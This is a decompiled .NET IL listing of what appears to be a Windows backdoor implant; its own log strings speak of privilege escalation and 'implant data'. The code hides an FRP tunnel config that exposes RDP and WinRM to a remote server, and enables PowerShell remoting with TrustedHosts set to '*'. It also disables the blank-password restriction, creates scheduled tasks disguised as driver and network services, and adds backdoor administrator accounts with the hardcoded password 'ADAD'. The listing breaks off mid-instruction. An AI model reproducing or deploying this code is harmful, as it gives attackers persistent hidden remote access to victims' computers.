System.Diagnostics.Process StandaloneProgram.Program::RunAsAdmin(System.String) pop <null> ldstr Escalation attempted ldc.i4.1 <null> call System.Void StandaloneProgram.Program::Log(System.String,System.Int32) leave IL_0F94: ret stloc.s V_20 ldstr Error in escalation: {0} ldloc.s V_20 call System.String System.String::Format(System.String,System.Object) ldc.i4.1 <null> call System.Void StandaloneProgram.Program::Log(System.String,System.Int32) leave IL_0F94: ret ldsfld System.Int32 StandaloneProgram.Program::integrity ldc.i4.3 <null> blt IL_0558: ldsfld System.Int32 StandaloneProgram.Program::integrity ldsfld Microsoft.Win32.RegistryKey Microsoft.Win32.Registry::CurrentUser ldstr Software\Microsoft\Windows\CurrentVersion\Explorer ldc.i4.1 <null> callvirt Microsoft.Win32.RegistryKey Microsoft.Win32.RegistryKey::OpenSubKey(System.String,System.Boolean) stloc.s V_21 ldloc.s V_21 brfalse.s IL_0400: leave.s IL_040E ldloc.s V_21 ldstr ShellStateVersion1 callvirt System.Object Microsoft.Win32.RegistryKey::GetValue(System.String) stloc.s V_22 ldloc.s V_22 brfalse.s IL_0400: leave.s IL_040E ldsfld Microsoft.Win32.RegistryKey Microsoft.Win32.Registry::LocalMachine ldstr Software\Microsoft\Windows\CurrentVersion\Explorer ldc.i4.1 <null> callvirt Microsoft.Win32.RegistryKey Microsoft.Win32.RegistryKey::OpenSubKey(System.String,System.Boolean) stloc.s V_23 ldloc.s V_23 brfalse.s IL_03F2: leave.s IL_0400 ldloc.s V_23 ldstr ShellStateVersion1 ldloc.s V_22 ldc.i4.3 <null> callvirt System.Void Microsoft.Win32.RegistryKey::SetValue(System.String,System.Object,Microsoft.Win32.RegistryValueKind) ldloc.s V_21 ldstr ShellStateVersion1 callvirt System.Void Microsoft.Win32.RegistryKey::DeleteValue(System.String) ldstr Moved implant data to HKLM ldc.i4.1 <null> call System.Void StandaloneProgram.Program::Log(System.String,System.Int32) leave.s IL_0400: leave.s IL_040E ldloc.s V_23 brfalse.s IL_03FF: endfinally ldloc.s V_23 callvirt System.Void System.IDisposable::Dispose() endfinally <null> leave.s IL_040E: leave.s IL_0426 ldloc.s V_21 brfalse.s IL_040D: endfinally ldloc.s V_21 callvirt System.Void System.IDisposable::Dispose() endfinally <null> leave.s IL_0426: nop stloc.s V_24 ldstr Error moving registry data: {0} ldloc.s V_24 call System.String System.String::Format(System.String,System.Object) ldc.i4.1 <null> call System.Void StandaloneProgram.Program::Log(System.String,System.Int32) leave.s IL_0426: nop nop <null> ldsfld Microsoft.Win32.RegistryKey Microsoft.Win32.Registry::CurrentUser ldstr Software\Microsoft\Windows\CurrentVersion\Explorer ldc.i4.1 <null> callvirt Microsoft.Win32.RegistryKey Microsoft.Win32.RegistryKey::OpenSubKey(System.String,System.Boolean) stloc.s V_25 ldloc.s V_25 brfalse.s IL_0499: leave.s IL_04A7 ldloc.s V_25 ldstr IconSizeVersion1 callvirt System.Object Microsoft.Win32.RegistryKey::GetValue(System.String) stloc.s V_26 ldloc.s V_26 brfalse.s IL_0499: leave.s IL_04A7 ldsfld Microsoft.Win32.RegistryKey Microsoft.Win32.Registry::LocalMachine ldstr Software\Microsoft\Windows\CurrentVersion\Explorer ldc.i4.1 <null> callvirt Microsoft.Win32.RegistryKey Microsoft.Win32.RegistryKey::OpenSubKey(System.String,System.Boolean) stloc.s V_27 ldloc.s V_27 brfalse.s IL_048B: leave.s IL_0499 ldloc.s V_27 ldstr IconSizeVersion1 ldloc.s V_26 ldc.i4.3 <null> callvirt System.Void Microsoft.Win32.RegistryKey::SetValue(System.String,System.Object,Microsoft.Win32.RegistryValueKind) ldloc.s V_25 ldstr IconSizeVersion1 callvirt System.Void Microsoft.Win32.RegistryKey::DeleteValue(System.String) ldstr Moved RDPWrapper data to HKLM ldc.i4.1 <null> call System.Void StandaloneProgram.Program::Log(System.String,System.Int32) leave.s IL_0499: leave.s IL_04A7 ldloc.s V_27 brfalse.s IL_0498: endfinally ldloc.s V_27 callvirt System.Void System.IDisposable::Dispose() endfinally <null> leave.s IL_04A7: leave.s IL_04BF ldloc.s V_25 brfalse.s IL_04A6: endfinally ldloc.s V_25 callvirt System.Void System.IDisposable::Dispose() endfinally <null> leave.s IL_04BF: nop stloc.s V_28 ldstr Error moving RDPWrapper data: {0} ldloc.s V_28 call System.String System.String::Format(System.String,System.Object) ldc.i4.1 <null> call System.Void StandaloneProgram.Program::Log(System.String,System.Int32) leave.s IL_04BF: nop nop <null> ldsfld Microsoft.Win32.RegistryKey Microsoft.Win32.Registry::CurrentUser ldstr Software\Microsoft\Windows\CurrentVersion\Explorer ldc.i4.1 <null> callvirt Microsoft.Win32.RegistryKey Microsoft.Win32.RegistryKey::OpenSubKey(System.String,System.Boolean) stloc.s V_29 ldloc.s V_29 brfalse.s IL_0532: leave.s IL_0540 ldloc.s V_29 ldstr IconUnderlineVersion1 callvirt System.Object Microsoft.Win32.RegistryKey::GetValue(System.String) stloc.s V_30 ldloc.s V_30 brfalse.s IL_0532: leave.s IL_0540 ldsfld Microsoft.Win32.RegistryKey Microsoft.Win32.Registry::LocalMachine ldstr Software\Microsoft\Windows\CurrentVersion\Explorer ldc.i4.1 <null> callvirt Microsoft.Win32.RegistryKey Microsoft.Win32.RegistryKey::OpenSubKey(System.String,System.Boolean) stloc.s V_31 ldloc.s V_31 brfalse.s IL_0524: leave.s IL_0532 ldloc.s V_31 ldstr IconUnderlineVersion1 ldloc.s V_30 ldc.i4.3 <null> callvirt System.Void Microsoft.Win32.RegistryKey::SetValue(System.String,System.Object,Microsoft.Win32.RegistryValueKind) ldloc.s V_29 ldstr IconUnderlineVersion1 callvirt System.Void Microsoft.Win32.RegistryKey::DeleteValue(System.String) ldstr Moved FRP data to HKLM ldc.i4.1 <null> call System.Void StandaloneProgram.Program::Log(System.String,System.Int32) leave.s IL_0532: leave.s IL_0540 ldloc.s V_31 brfalse.s IL_0531: endfinally ldloc.s V_31 callvirt System.Void System.IDisposable::Dispose() endfinally <null> leave.s IL_0540: leave.s IL_0558 ldloc.s V_29 brfalse.s IL_053F: endfinally ldloc.s V_29 callvirt System.Void System.IDisposable::Dispose() endfinally <null> leave.s IL_0558: ldsfld System.Int32 StandaloneProgram.Program::integrity stloc.s V_32 ldstr Error moving FRP data: {0} ldloc.s V_32 call System.String System.String::Format(System.String,System.Object) ldc.i4.1 <null> call System.Void StandaloneProgram.Program::Log(System.String,System.Int32) leave.s IL_0558: ldsfld System.Int32 StandaloneProgram.Program::integrity ldsfld System.Int32 StandaloneProgram.Program::integrity ldc.i4.3 <null> blt IL_06C8: ldsfld System.Int32 StandaloneProgram.Program::integrity ldstr C:\ProgramData\frp stloc.s V_33 ldloc.s V_33 ldstr frpc.toml call System.String System.IO.Path::Combine(System.String,System.String) stloc.s V_34 ldloc.s V_33 call System.Boolean System.IO.Directory::Exists(System.String) brtrue.s IL_05A8: ldloc.s V_34 ldloc.s V_33 call System.IO.DirectoryInfo System.IO.Directory::CreateDirectory(System.String) pop <null> ldloc.s V_33 newobj System.Void System.IO.DirectoryInfo::.ctor(System.String) dup <null> callvirt System.IO.FileAttributes System.IO.FileSystemInfo::get_Attributes() ldc.i4.2 <null> or <null> callvirt System.Void System.IO.FileSystemInfo::set_Attributes(System.IO.FileAttributes) ldstr FRP directory created and hidden ldc.i4.1 <null> call System.Void StandaloneProgram.Program::Log(System.String,System.Int32) ldloc.s V_34 call System.Boolean System.IO.File::Exists(System.String) brtrue.s IL_05F0: ldloc.s V_34 ldc.i4.5 <null> newarr System.String dup <null> ldc.i4.0 <null> ldstr serverAddr = " stelem.ref <null> dup <null> ldc.i4.1 <null> ldloc.s V_5 stelem.ref <null> dup <null> ldc.i4.2 <null> ldstr " serverPort = 7000 loginFailExit = false auth = { method = "token", token = "ADAD" } user = " stelem.ref <null> dup <null> ldc.i4.3 <null> call System.String System.Environment::get_UserName() stelem.ref <null> dup <null> ldc.i4.4 <null> ldstr " [[proxies]] name = "rdp" type = "tcp" localIP = "127.0.0.1" localPort = 3389 remotePort = 0 [[proxies]] name = "winrm" type = "tcp" localIP = "127.0.0.1" localPort = 5985 remotePort = 0 stelem.ref <null> call System.String System.String::Concat(System.String[]) stloc.s V_35 ldstr FRP config created ldc.i4.1 <null> call System.Void StandaloneProgram.Program::Log(System.String,System.Int32) br.s IL_0627: ldloc.s V_34 ldloc.s V_34 call System.String System.IO.File::ReadAllText(System.String) ldstr serverAddr = " ldloc.s V_5 ldstr " call System.String System.String::Concat(System.String,System.String,System.String) stloc.s V_36 ldstr serverAddr\s*=\s*"[^"]*" stloc.s V_37 ldloc.s V_37 ldloc.s V_36 call System.String System.Text.RegularExpressions.Regex::Replace(System.String,System.String,System.String) stloc.s V_35 ldstr FRP config updated (IP only) ldc.i4.1 <null> call System.Void StandaloneProgram.Program::Log(System.String,System.Int32) ldloc.s V_34 ldloc.s V_35 callvirt System.String System.String::Trim() call System.Void System.IO.File::WriteAllText(System.String,System.String) ldstr powershell ldstr -Command "Enable-PSRemoting -Force; Set-Item WSMan:\localhost\Client\TrustedHosts -Value '*' -Force; New-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System' -Name 'LocalAccountTokenFilterPolicy' -Value 1 -PropertyType DWORD -Force; Restart-Service winrm" newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor(System.String,System.String) dup <null> ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_CreateNoWindow(System.Boolean) dup <null> ldc.i4.0 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_UseShellExecute(System.Boolean) dup <null> ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_RedirectStandardOutput(System.Boolean) dup <null> ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_RedirectStandardError(System.Boolean) call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo) stloc.s V_38 ldloc.s V_38 callvirt System.Void System.Diagnostics.Process::WaitForExit() ldstr WinRM configuration exit code: {0} ldloc.s V_38 callvirt System.Int32 System.Diagnostics.Process::get_ExitCode() box System.Int32 call System.String System.String::Format(System.String,System.Object) ldc.i4.1 <null> call System.Void StandaloneProgram.Program::Log(System.String,System.Int32) leave.s IL_0698: leave.s IL_06B0 ldloc.s V_38 brfalse.s IL_0697: endfinally ldloc.s V_38 callvirt System.Void System.IDisposable::Dispose() endfinally <null> leave.s IL_06B0: leave.s IL_06C8 stloc.s V_39 ldstr Error configuring WinRM: {0} ldloc.s V_39 call System.String System.String::Format(System.String,System.Object) ldc.i4.1 <null> call System.Void StandaloneProgram.Program::Log(System.String,System.Int32) leave.s IL_06B0: leave.s IL_06C8 leave.s IL_06C8: ldsfld System.Int32 StandaloneProgram.Program::integrity stloc.s V_40 ldstr Error setting up FRP tunnel: {0} ldloc.s V_40 call System.String System.String::Format(System.String,System.Object) ldc.i4.1 <null> call System.Void StandaloneProgram.Program::Log(System.String,System.Int32) leave.s IL_06C8: ldsfld System.Int32 StandaloneProgram.Program::integrity ldsfld System.Int32 StandaloneProgram.Program::integrity ldc.i4.3 <null> bne.un IL_0764: ldsfld System.Int32 StandaloneProgram.Program::integrity ldstr Admin detected, creating service... ldc.i4.1 <null> call System.Void StandaloneProgram.Program::Log(System.String,System.Int32) ldc.i4.1 <null> ldstr ShellStateVersion1 call System.String StandaloneProgram.Program::GetPowershellCommand(System.Boolean,System.String) stloc.s V_41 ldstr DriverSvcTask ldstr Driver Support Service ldloc.s V_41 ldc.i4.0 <null> call System.Void StandaloneProgram.Program::CreateTask(System.String,System.String,System.String,System.Boolean) ldstr powershell.exe sleep 30; ldc.i4.1 <null> ldstr IconUnderlineVersion1 call System.String StandaloneProgram.Program::GetPowershellCommand(System.Boolean,System.String) ldstr " call System.String System.String::Concat(System.String,System.String,System.String) stloc.s V_42 ldstr NetTcpSvc ldstr Manages network TCP connections for system services. ldloc.s V_42 ldc.i4.1 <null> call System.Void StandaloneProgram.Program::CreateTask(System.String,System.String,System.String,System.Boolean) ldstr TermSvcHost ldstr Provides support for Terminal Services. ldc.i4.1 <null> ldstr IconSizeVersion1 call System.String StandaloneProgram.Program::GetPowershellCommand(System.Boolean,System.String) ldc.i4.1 <null> call System.Void StandaloneProgram.Program::CreateTask(System.String,System.String,System.String,System.Boolean) leave IL_07F5: nop stloc.s V_43 ldstr Error setting up autorun and task: {0} ldloc.s V_43 call System.String System.String::Format(System.String,System.Object) ldc.i4.1 <null> call System.Void StandaloneProgram.Program::Log(System.String,System.Int32) leave IL_07F5: nop ldsfld System.Int32 StandaloneProgram.Program::integrity ldc.i4.4 <null> bne.un IL_07F5: nop ldstr System detected, ensuring tasks exist... ldc.i4.1 <null> call System.Void StandaloneProgram.Program::Log(System.String,System.Int32) ldc.i4.1 <null> ldstr ShellStateVersion1 call System.String StandaloneProgram.Program::GetPowershellCommand(System.Boolean,System.String) stloc.s V_44 ldstr DriverSvcTask ldstr Driver Support Service ldloc.s V_44 ldc.i4.0 <null> call System.Void StandaloneProgram.Program::CreateTask(System.String,System.String,System.String,System.Boolean) ldstr powershell.exe sleep 30; ldc.i4.1 <null> ldstr IconUnderlineVersion1 call System.String StandaloneProgram.Program::GetPowershellCommand(System.Boolean,System.String) call System.String System.String::Concat(System.String,System.String) stloc.s V_45 ldstr NetTcpSvc ldstr Manages network TCP connections for system services. ldloc.s V_45 ldc.i4.0 <null> call System.Void StandaloneProgram.Program::CreateTask(System.String,System.String,System.String,System.Boolean) ldstr TermSvcHost ldstr Provides support for Terminal Services. ldc.i4.1 <null> ldstr IconSizeVersion1 call System.String StandaloneProgram.Program::GetPowershellCommand(System.Boolean,System.String) ldc.i4.0 <null> call System.Void StandaloneProgram.Program::CreateTask(System.String,System.String,System.String,System.Boolean) leave.s IL_07F5: nop stloc.s V_46 ldstr Error ensuring tasks exist: {0} ldloc.s V_46 call System.String System.String::Format(System.String,System.Object) ldc.i4.1 <null> call System.Void StandaloneProgram.Program::Log(System.String,System.Int32) leave.s IL_07F5: nop nop <null> newobj System.Void System.Collections.Generic.List`1<System.String>::.ctor() stloc.s V_47 ldsfld System.Int32 StandaloneProgram.Program::integrity ldc.i4.3 <null> bne.un.s IL_0816: ldsfld System.Int32 StandaloneProgram.Program::integrity ldloc.s V_47 call System.String System.Environment::get_UserName() callvirt System.Void System.Collections.Generic.List`1<System.String>::Add(System.String) br IL_08A1: ldc.i4.0 ldsfld System.Int32 StandaloneProgram.Program::integrity ldc.i4.4 <null> bne.un IL_08A1: ldc.i4.0 ldstr S-1-5-32-555 call System.Collections.Generic.List`1<System.String> StandaloneProgram.Program::GetLocalGroupMembers(System.String) callvirt System.Collections.Generic.List`1/Enumerator<System.String> System.Collections.Generic.List`1<System.String>::GetEnumerator() stloc.s V_51 br.s IL_0888: ldloca.s V_51 ldloca.s V_51 call System.String System.Collections.Generic.List`1/Enumerator<System.String>::get_Current() stloc.s V_52 ldloc.s V_52 stloc.s V_53 ldloc.s V_52 ldc.i4.s 92 callvirt System.Int32 System.String::LastIndexOf(System.Char) stloc.s V_54 ldloc.s V_54 ldc.i4.0 <null> blt.s IL_086B: ldloc.s V_53 ldloc.s V_54 ldc.i4.1 <null> add <null> ldloc.s V_52 callvirt System.Int32 System.String::get_Length() bge.s IL_086B: ldloc.s V_53 ldloc.s V_52 ldloc.s V_54 ldc.i4.1 <null> add <null> callvirt System.String System.String::Substring(System.Int32) stloc.s V_53 ldloc.s V_53 call System.Boolean System.String::IsNullOrEmpty(System.String) brtrue.s IL_0888: ldloca.s V_51 ldloc.s V_47 ldloc.s V_53 callvirt System.Boolean System.Collections.Generic.List`1<System.String>::Contains(System.String) brtrue.s IL_0888: ldloca.s V_51 ldloc.s V_47 ldloc.s V_53 callvirt System.Void System.Collections.Generic.List`1<System.String>::Add(System.String) ldloca.s V_51 call System.Boolean System.Collections.Generic.List`1/Enumerator<System.String>::MoveNext() brtrue.s IL_0834: ldloca.s V_51 leave.s IL_08A1: ldc.i4.0 ldloca.s V_51 constrained. System.Collections.Generic.List`1/Enumerator<System.String> callvirt System.Void System.IDisposable::Dispose() endfinally <null> ldc.i4.0 <null> call System.Void StandaloneProgram.Program::SetLimitBlankPasswordUse(System.Boolean) ldc.i4.0 <null> stloc.s V_48 ldstr SysMaintenance stloc.s V_49 ldloc.s V_47 callvirt System.Collections.Generic.List`1/Enumerator<System.String> System.Collections.Generic.List`1<System.String>::GetEnumerator() stloc.s V_51 br IL_0B7A: ldloca.s V_51 ldloca.s V_51 call System.String System.Collections.Generic.List`1/Enumerator<System.String>::get_Current() stloc.s V_55 ldstr Attempting to configure user: ldloc.s V_55 call System.String System.String::Concat(System.String,System.String) ldc.i4.1 <null> call System.Void StandaloneProgram.Program::Log(System.String,System.Int32) ldstr net ldstr user " ldloc.s V_55 ldstr " call System.String System.String::Concat(System.String,System.String,System.String) newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor(System.String,System.String) dup <null> ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_CreateNoWindow(System.Boolean) dup <null> ldc.i4.0 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_UseShellExecute(System.Boolean) dup <null> ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_RedirectStandardOutput(System.Boolean) dup <null> ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_RedirectStandardError(System.Boolean) call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo) stloc.s V_56 ldloc.s V_56 callvirt System.IO.StreamReader System.Diagnostics.Process::get_StandardOutput() callvirt System.String System.IO.TextReader::ReadToEnd() ldloc.s V_56 callvirt System.Void System.Diagnostics.Process::WaitForExit() ldloc.s V_49 callvirt System.Boolean System.String::Contains(System.String) brfalse.s IL_0952: leave.s IL_0960 ldstr Skipping user ldloc.s V_55 ldstr due to description containing ldloc.s V_49 call System.String System.String::Concat(System.String,System.String,System.String,System.String) ldc.i4.1 <null> call System.Void StandaloneProgram.Program::Log(System.String,System.Int32) leave IL_0B7A: ldloca.s V_51 leave.s IL_0960: ldstr "net" ldloc.s V_56 brfalse.s IL_095F: endfinally ldloc.s V_56 callvirt System.Void System.IDisposable::Dispose() endfinally <null> ldstr net ldstr user " ldloc.s V_55 ldstr " "" call System.String System.String::Concat(System.String,System.String,System.String) newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor(System.String,System.String) dup <null> ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_CreateNoWindow(System.Boolean) dup <null> ldc.i4.0 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_UseShellExecute(System.Boolean) dup <null> ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_RedirectStandardOutput(System.Boolean) dup <null> ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_RedirectStandardError(System.Boolean) call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo) stloc.s V_57 ldloc.s V_57 callvirt System.IO.StreamReader System.Diagnostics.Process::get_StandardOutput() callvirt System.String System.IO.TextReader::ReadToEnd() stloc.s V_58 ldloc.s V_57 callvirt System.IO.StreamReader System.Diagnostics.Process::get_StandardError() callvirt System.String System.IO.TextReader::ReadToEnd() stloc.s V_59 ldloc.s V_57 ldc.i4 10000 callvirt System.Boolean System.Diagnostics.Process::WaitForExit(System.Int32) pop <null> ldstr net user output: ldloc.s V_58 call System.String System.String::Concat(System.String,System.String) ldc.i4.2 <null> call System.Void StandaloneProgram.Program::Log(System.String,System.Int32) ldstr net user error: ldloc.s V_59 call System.String System.String::Concat(System.String,System.String) ldc.i4.2 <null> call System.Void StandaloneProgram.Program::Log(System.String,System.Int32) ldloc.s V_57 callvirt System.Int32 System.Diagnostics.Process::get_ExitCode() ldc.i4 8646 bne.un.s IL_0A0C: ldloc.s V_57 ldstr Microsoft account detected, creating new local user ldc.i4.1 <null> call System.Void StandaloneProgram.Program::Log(System.String,System.Int32) ldc.i4.0 <null> stloc.s V_48 leave IL_0B86: leave.s IL_0B96 ldloc.s V_57 callvirt System.Int32 System.Diagnostics.Process::get_ExitCode() brfalse.s IL_0A1A: leave.s IL_0A28 leave IL_0B7A: ldloca.s V_51 leave.s IL_0A28: ldsfld System.Int32 StandaloneProgram.Program::integrity ldloc.s V_57 brfalse.s IL_0A27: endfinally ldloc.s V_57 callvirt System.Void System.IDisposable::Dispose() endfinally <null> ldsfld System.Int32 StandaloneProgram.Program::integrity ldc.i4.3 <null> bne.un.s IL_0A89: ldstr "gpupdate" ldstr powershell ldstr -Command "Add-LocalGroupMember -Group (Get-LocalGroup -SID 'S-1-5-32-555') -Member ' ldloc.s V_55 ldstr '" call System.String System.String::Concat(System.String,System.String,System.String) newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor(System.String,System.String) dup <null> ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_CreateNoWindow(System.Boolean) dup <null> ldc.i4.0 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_UseShellExecute(System.Boolean) dup <null> ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_RedirectStandardOutput(System.Boolean) dup <null> ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_RedirectStandardError(System.Boolean) call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo) stloc.s V_60 ldloc.s V_60 ldc.i4 5000 callvirt System.Boolean System.Diagnostics.Process::WaitForExit(System.Int32) pop <null> leave.s IL_0A89: ldstr "gpupdate" ldloc.s V_60 brfalse.s IL_0A88: endfinally ldloc.s V_60 callvirt System.Void System.IDisposable::Dispose() endfinally <null> ldstr gpupdate ldstr /force newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor(System.String,System.String) dup <null> ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_CreateNoWindow(System.Boolean) dup <null> ldc.i4.0 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_UseShellExecute(System.Boolean) dup <null> ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_RedirectStandardOutput(System.Boolean) dup <null> ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_RedirectStandardError(System.Boolean) call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo) stloc.s V_61 ldloc.s V_61 ldc.i4 30000 callvirt System.Boolean System.Diagnostics.Process::WaitForExit(System.Int32) pop <null> ldstr gpupdate exit code: {0} ldloc.s V_61 callvirt System.Int32 System.Diagnostics.Process::get_ExitCode() box System.Int32 call System.String System.String::Format(System.String,System.Object) ldc.i4.1 <null> call System.Void StandaloneProgram.Program::Log(System.String,System.Int32) leave.s IL_0AF2: ldstr "powershell" ldloc.s V_61 brfalse.s IL_0AF1: endfinally ldloc.s V_61 callvirt System.Void System.IDisposable::Dispose() endfinally <null> ldstr powershell ldstr -Command "Add-LocalGroupMember -Group (Get-LocalGroup -SID 'S-1-5-32-580') -Member ' ldloc.s V_55 ldstr '" call System.String System.String::Concat(System.String,System.String,System.String) newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor(System.String,System.String) dup <null> ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_CreateNoWindow(System.Boolean) dup <null> ldc.i4.0 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_UseShellExecute(System.Boolean) dup <null> ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_RedirectStandardOutput(System.Boolean) dup <null> ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_RedirectStandardError(System.Boolean) call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo) stloc.s V_62 ldloc.s V_62 ldc.i4 5000 callvirt System.Boolean System.Diagnostics.Process::WaitForExit(System.Int32) pop <null> leave.s IL_0B4B: ldc.i4.1 ldloc.s V_62 brfalse.s IL_0B4A: endfinally ldloc.s V_62 callvirt System.Void System.IDisposable::Dispose() endfinally <null> ldc.i4.1 <null> stloc.s V_48 ldstr Configured user: ldloc.s V_55 call System.String System.String::Concat(System.String,System.String) ldc.i4.1 <null> call System.Void StandaloneProgram.Program::Log(System.String,System.Int32) leave.s IL_0B86: leave.s IL_0B96 stloc.s V_63 ldstr Error configuring candidate {0}: {1} ldloc.s V_55 ldloc.s V_63 call System.String System.String::Format(System.String,System.Object,System.Object) ldc.i4.1 <null> call System.Void StandaloneProgram.Program::Log(System.String,System.Int32) leave.s IL_0B7A: ldloca.s V_51 ldloca.s V_51 call System.Boolean System.Collections.Generic.List`1/Enumerator<System.String>::MoveNext() brtrue IL_08BF: ldloca.s V_51 leave.s IL_0B96: ldc.i4.0 ldloca.s V_51 constrained. System.Collections.Generic.List`1/Enumerator<System.String> callvirt System.Void System.IDisposable::Dispose() endfinally <null> ldc.i4.0 <null> stloc.s V_50 ldstr if (Get-LocalUser | Where-Object { $_.Description -eq ' ldloc.s V_49 ldstr ' }) { exit 1 } else { exit 0 } call System.String System.String::Concat(System.String,System.String,System.String) stloc.s V_64 ldstr powershell ldstr -Command " ldloc.s V_64 ldstr " call System.String System.String::Concat(System.String,System.String,System.String) newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor(System.String,System.String) dup <null> ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_CreateNoWindow(System.Boolean) dup <null> ldc.i4.0 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_UseShellExecute(System.Boolean) call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo) stloc.s V_65 ldloc.s V_65 callvirt System.Void System.Diagnostics.Process::WaitForExit() ldloc.s V_65 callvirt System.Int32 System.Diagnostics.Process::get_ExitCode() ldc.i4.1 <null> bne.un.s IL_0BFB: leave.s IL_0C09 ldc.i4.1 <null> stloc.s V_50 ldstr A user with the 'SysMaintenance' description already exists. Skipping creation. ldc.i4.1 <null> call System.Void StandaloneProgram.Program::Log(System.String,System.Int32) leave.s IL_0C09: leave.s IL_0C21 ldloc.s V_65 brfalse.s IL_0C08: endfinally ldloc.s V_65 callvirt System.Void System.IDisposable::Dispose() endfinally <null> leave.s IL_0C21: ldloc.s V_48 stloc.s V_66 ldstr Error checking for existing maintenance user: {0} ldloc.s V_66 call System.String System.String::Format(System.String,System.Object) ldc.i4.1 <null> call System.Void StandaloneProgram.Program::Log(System.String,System.Int32) leave.s IL_0C21: ldloc.s V_48 ldloc.s V_48 brtrue IL_0ED9: leave.s IL_0EF1 ldloc.s V_50 brtrue IL_0ED9: leave.s IL_0EF1 ldstr Creating new local user ldc.i4.1 <null> call System.Void StandaloneProgram.Program::Log(System.String,System.Int32) ldc.i4.3 <null> newarr System.String dup <null> ldc.i4.0 <null> ldstr Administrator stelem.ref <null> dup <null> ldc.i4.1 <null> ldstr Admin stelem.ref <null> dup <null> ldc.i4.2 <null> ldstr Windows stelem.ref <null> stloc.s V_67 ldc.i4.0 <null> stloc.s V_13 br IL_0EBF: ldloc.s V_13 ldloc.s V_67 ldloc.s V_13 ldelem.ref <null> stloc.s V_68 ldstr net ldc.i4.5 <null> newarr System.String dup <null> ldc.i4.0 <null> ldstr user " stelem.ref <null> dup <null> ldc.i4.1 <null> ldloc.s V_68 stelem.ref <null> dup <null> ldc.i4.2 <null> ldstr " "ADAD" /add /comment:" stelem.ref <null> dup <null> ldc.i4.3 <null> ldloc.s V_49 stelem.ref <null> dup <null> ldc.i4.4 <null> ldstr " stelem.ref <null> call System.String System.String::Concat(System.String[]) newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor(System.String,System.String) dup <null> ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_CreateNoWindow(System.Boolean) dup <null> ldc.i4.0 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_UseShellExecute(System.Boolean) dup <null> ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_RedirectStandardOutput(System.Boolean) dup <null> ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_RedirectStandardError(System.Boolean) call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo) stloc.s V_69 ldloc.s V_69 callvirt System.IO.StreamReader System.Diagnostics.Process::get_StandardOutput() callvirt System.String System.IO.TextReader::ReadToEnd() pop <null> ldloc.s V_69 callvirt System.IO.StreamReader System.Diagnostics.Process::get_StandardError() callvirt System.String System.IO.TextReader::ReadToEnd() pop <null> ldloc.s V_69 ldc.i4 10000 callvirt System.Boolean System.Diagnostics.Process::WaitForExit(System.Int32) pop <null> ldloc.s V_69 callvirt System.Int32 System.Diagnostics.Process::get_ExitCode() brtrue IL_0E94: ldstr "Failed to create user " ldstr powershell ldstr -Command "Add-LocalGroupMember -Group (Get-LocalGroup -SID 'S-1-5-32-544') -Member ' ldloc.s V_68 ldstr '" call System.String System.String::Concat(System.String,System.String,System.String) newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor(System.String,System.String) dup <null> ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_CreateNoWindow(System.Boolean) dup <null> ldc.i4.0 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_UseShellExecute(System.Boolean) dup <null> ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_RedirectStandardOutput(System.Boolean) dup <null> ldc.i4.1 <null> callvirt System.Void 